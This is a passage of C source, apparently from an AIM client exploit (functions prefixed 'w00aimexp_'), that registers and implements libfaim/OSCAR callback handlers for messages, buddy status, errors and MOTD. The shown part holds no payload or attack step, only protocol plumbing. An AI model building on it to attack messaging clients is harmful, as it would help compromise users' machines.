  825.  
  826. /*
  827.  * Channel 2: Rendevous Request
  828.  */
  829. static int w00aimexp_parse_incoming_im_chan2(aim_session_t *sess, aim_conn_t *conn, struct aim_userinfo_s *userinfo, struct aim_incomingim_ch2_args *args)
  830. {
  831.     dvprintf("Incoming message (class %d)\n", args->reqclass);
  832.     assert(0);
  833.     return 1;
  834. }
  835.  
  836. static int w00aimexp_parse_incoming_im(aim_session_t *sess, aim_frame_t *fr, ...)
  837. {
  838.     fu16_t channel;
  839.     struct aim_userinfo_s *userinfo;
  840.     va_list ap;
  841.     int ret = 0;
  842.  
  843.     va_start(ap, fr);
  844.     channel = (fu16_t)va_arg(ap, unsigned int);
  845.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  846.  
  847.     if (channel == 1)
  848.     {
  849.         struct aim_incomingim_ch1_args *args;
  850.         args = va_arg(ap, struct aim_incomingim_ch1_args *);
  851.         ret = w00aimexp_parse_incoming_im_chan1(sess, fr->conn, userinfo, args);
  852.     }
  853.     else if (channel == 2)
  854.     {
  855.         struct aim_incomingim_ch2_args *args;
  856.         args = va_arg(ap, struct aim_incomingim_ch2_args *);
  857.         ret = w00aimexp_parse_incoming_im_chan2(sess, fr->conn, userinfo, args);
  858.     }
  859.     else
  860.     {
  861.         dvprintf("Unsupported channel 0x%04x\n", channel);
  862.         assert(0);
  863.     }
  864.  
  865.     va_end(ap);
  866.     //dvprintf("Done with ICBM handling (parser returned %d)\n", ret);
  867.     return 1;
  868. }
  869.  
  870. static int w00aimexp_parse_oncoming(aim_session_t *sess, aim_frame_t *fr, ...)
  871. {
  872.     struct aim_userinfo_s *userinfo;
  873.  
  874.     va_list ap;
  875.     va_start(ap, fr);
  876.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  877.     va_end(ap);
  878.  
  879.     dvprintf("%s is now online (flags: %04x = %s%s%s%s%s%s%s%s) (caps = 0x%04x)\n",
  880.             userinfo->sn, userinfo->flags,
  881.             (userinfo->flags&AIM_FLAG_UNCONFIRMED) ? " UNCONFIRMED" : "",
  882.             (userinfo->flags&AIM_FLAG_ADMINISTRATOR) ? " ADMINISTRATOR" : "",
  883.             (userinfo->flags&AIM_FLAG_AOL) ? " AOL" : "",
  884.             (userinfo->flags&AIM_FLAG_OSCAR_PAY) ? " OSCAR_PAY" : "",
  885.             (userinfo->flags&AIM_FLAG_FREE) ? " FREE" : "",
  886.             (userinfo->flags&AIM_FLAG_AWAY) ? " AWAY" : "",
  887.             (userinfo->flags&AIM_FLAG_UNKNOWN40) ? " UNKNOWN40" : "",
  888.             (userinfo->flags&AIM_FLAG_UNKNOWN80) ? " UNKNOWN80" : "",
  889.             userinfo->capabilities);
  890.     return 1;
  891. }
  892.  
  893. static int w00aimexp_parse_offgoing(aim_session_t *sess, aim_frame_t *fr, ...)
  894. {
  895.     struct aim_userinfo_s *userinfo;
  896.     va_list ap;
  897.     
  898.     va_start(ap, fr);
  899.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  900.     va_end(ap);
  901.  
  902.     dvprintf("%s is now offline (flags: %04x = %s%s%s%s%s%s%s%s) (caps = 0x%04x)\n",
  903.              userinfo->sn, userinfo->flags,
  904.              (userinfo->flags&AIM_FLAG_UNCONFIRMED) ? " UNCONFIRMED":"",
  905.              (userinfo->flags&AIM_FLAG_ADMINISTRATOR) ? " ADMINISTRATOR":"",
  906.              (userinfo->flags&AIM_FLAG_AOL) ? " AOL" : "",
  907.              (userinfo->flags&AIM_FLAG_OSCAR_PAY) ? " OSCAR_PAY" : "",
  908.              (userinfo->flags&AIM_FLAG_FREE) ? " FREE" : "",
  909.              (userinfo->flags&AIM_FLAG_AWAY) ? " AWAY" : "",
  910.              (userinfo->flags&AIM_FLAG_UNKNOWN40) ? " UNKNOWN40" : "",
  911.              (userinfo->flags&AIM_FLAG_UNKNOWN80) ? " UNKNOWN80" : "",
  912.              userinfo->capabilities);
  913.  
  914.     return 1;
  915. }
  916.  
  917. static int w00aimexp_parse_error(aim_session_t *sess, aim_frame_t *fr, ...)
  918. {
  919.     va_list ap;
  920.     fu16_t reason;
  921.  
  922.     va_start(ap, fr);
  923.     reason = (fu16_t)va_arg(ap, unsigned int);
  924.     va_end(ap);
  925.  
  926. #if 0
  927.     dvprintf("SNAC threw error (%s)\n",
  928.             (reason < error_msgs_len) ? error_msgs[reason] : "unknown");
  929. #endif
  930.     return 1;
  931. }
  932.  
  933. static int w00aimexp_parse_msgerr(aim_session_t *sess, aim_frame_t *fr, ...)
  934. {
  935.     va_list ap;
  936.     char *destsn;
  937.     fu16_t reason;
  938.  
  939.     va_start(ap, fr);
  940.     reason = (fu16_t)va_arg(ap, unsigned int);
  941.     destsn = va_arg(ap, char *);
  942.     va_end(ap);
  943.  
  944.     fprintf(stderr, "Error: message to %s bounced (%s)\n", destsn,
  945.             (reason < error_msgs_len) ? error_msgs[reason] : "unknown");
  946.     exit(ERROR);
  947. }
  948.  
  949. static int w00aimexp_parse_misses(aim_session_t *sess, aim_frame_t *fr, ...)
  950. {
  951.     static char *missedreasons[] =
  952.     {
  953.         "Invalid (0)",
  954.         "Message too large",
  955.         "Rate exceeded",
  956.         "Evil Sender",
  957.         "Evil Receiver"
  958.     };
  959.     static int missedreasonslen = 5;
  960.  
  961.     va_list ap;
  962.     fu16_t chan, nummissed, reason;
  963.     struct aim_userinfo_s *userinfo;
  964.  
  965.     va_start(ap, fr);
  966.     chan = (fu16_t)va_arg(ap, unsigned int);
  967.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  968.     nummissed = (fu16_t)va_arg(ap, unsigned int);
  969.     reason = (fu16_t)va_arg(ap, unsigned int);
  970.     va_end(ap);
  971.  
  972.     dvprintf("Error: missed %d messages from %s on channel %d (%s)\n", 
  973.             nummissed, userinfo->sn, chan, (reason < missedreasonslen) ? missedreasons[reason] : "unknown");
  974.     assert(0);
  975.     return 1;
  976. }
  977.  
  978. /*
  979.  * Received in response to an IM sent with the AIM_IMFLAGS_ACK option.
  980.  */
  981. static int w00aimexp_parse_msgack(aim_session_t *sess, aim_frame_t *fr, ...)
  982. {
  983.     va_list ap;
  984.     fu16_t type;
  985.     char *sn = NULL;
  986.  
  987.     va_start(ap, fr);
  988.     type = (fu16_t)va_arg(ap, unsigned int);
  989.     sn = va_arg(ap, char *);
  990.     va_end(ap);
  991.  
  992.     dvprintf("Message (type = 0x%04x) to %s acknowledged\n", type, sn);
  993.     return 1;
  994. }
  995.  
  996. static int w00aimexp_parse_motd(aim_session_t *sess, aim_frame_t *fr, ...)
  997. {
  998.     static char *error_codes[] = {
  999.         "Unknown",
  1000.         "Mandatory upgrade",
  1001.         "Advisory upgrade",
  1002.         "System bulletin",
  1003.         "Top o' the world!"
  1004.     };
  1005.     static int error_codes_len = 5;
  1006.     char *msg;
  1007.     fu16_t id;
  1008.     va_list ap;
  1009.  
  1010.     va_start(ap, fr);
  1011.     id = va_arg(ap, int);
  1012.     msg = va_arg(ap, char *);
  1013.     va_end(ap);
  1014.  
  1015.     if (msg)
  1016.     {
  1017.         dvprintf("MOTD: message = \"%s\" (%s)\n", msg, (id < error_codes_len) ? error_codes[id] : "unknown");
  1018.     }
  1019.     
  1020.     return 1;
  1021. }
  1022.  
  1023. void addcb_bos(aim_session_t *sess, aim_conn_t *bosconn)
  1024. {
  1025.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_SPECIAL, AIM_CB_SPECIAL_CONNCOMPLETE, w00aimexp_conncomplete, 0);
  1026.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_SPECIAL, AIM_CB_SPECIAL_CONNERR, w00aimexp_parse_connerr, 0);
  1027.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_RATEINFO, w00aimexp_rateresp_bos, 0);
  1028.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_SERVERREADY, w00aimexp_serverready, 0);
  1029.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_MOTD, w00aimexp_parse_motd, 0);
  1030.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, 0x0018, w00aimexp_hostversions, 0);
  1031.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BOS, AIM_CB_BOS_RIGHTS, w00aimexp_bosrights, 0);
  1032.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BOS, AIM_CB_BOS_ERROR, w00aimexp_parse_error, 0);
  1033.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_RIGHTSINFO, w00aimexp_parse_buddyrights, 0);
  1034.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_ONCOMING, w00aimexp_parse_oncoming, 0);
  1035.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_OFFGOING, w00aimexp_parse_offgoing, 0);
  1036.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_ERROR, w00aimexp_parse_error, 0);
  1037.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_INCOMING, w00aimexp_parse_incoming_im, 0);
  1038.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_MISSEDCALL, w00aimexp_parse_misses, 0);
  1039.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_ERROR, w00aimexp_parse_msgerr, 0);
  1040.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_ACK, w00aimexp_parse_msgack, 0);
  1041.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_PARAMINFO, w00aimexp_icbmparaminfo, 0);
  1042.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_CLIENTERROR, w00aimexp_parse_clienterr, 0);
  1043.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_ERROR, w00aimexp_parse_error, 0);
  1044.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_LOC, AIM_CB_LOC_RIGHTSINFO, w00aimexp_locrights, 0);
  1045.     aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_STS, AIM_CB_STS_SETREPORTINTERVAL, w00aimexp_reportinterval, 0);
  1046.     
  1047.     return;
  1048. }
  1049.  
  1050.